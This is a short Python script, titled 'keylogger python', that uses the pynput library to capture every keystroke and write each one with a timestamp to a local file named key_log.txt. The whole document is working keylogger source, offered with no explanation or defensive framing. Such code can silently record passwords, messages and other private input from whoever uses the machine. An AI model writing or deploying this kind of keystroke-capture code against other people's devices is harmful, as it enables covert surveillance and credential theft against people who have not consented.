keylogger python

from pynput.keyboard import Key,Listener
import logging



def main():
    log_dir=""
    logging.basicConfig(filename=(log_dir+"key_log.txt"),level=logging.DEBUG,format='%(asctime)s: %(message)s')
    def on_press(key):
        logging.info(str(key))
    with Listener(on_press=on_press )     as listener:
        listener.join ()
main()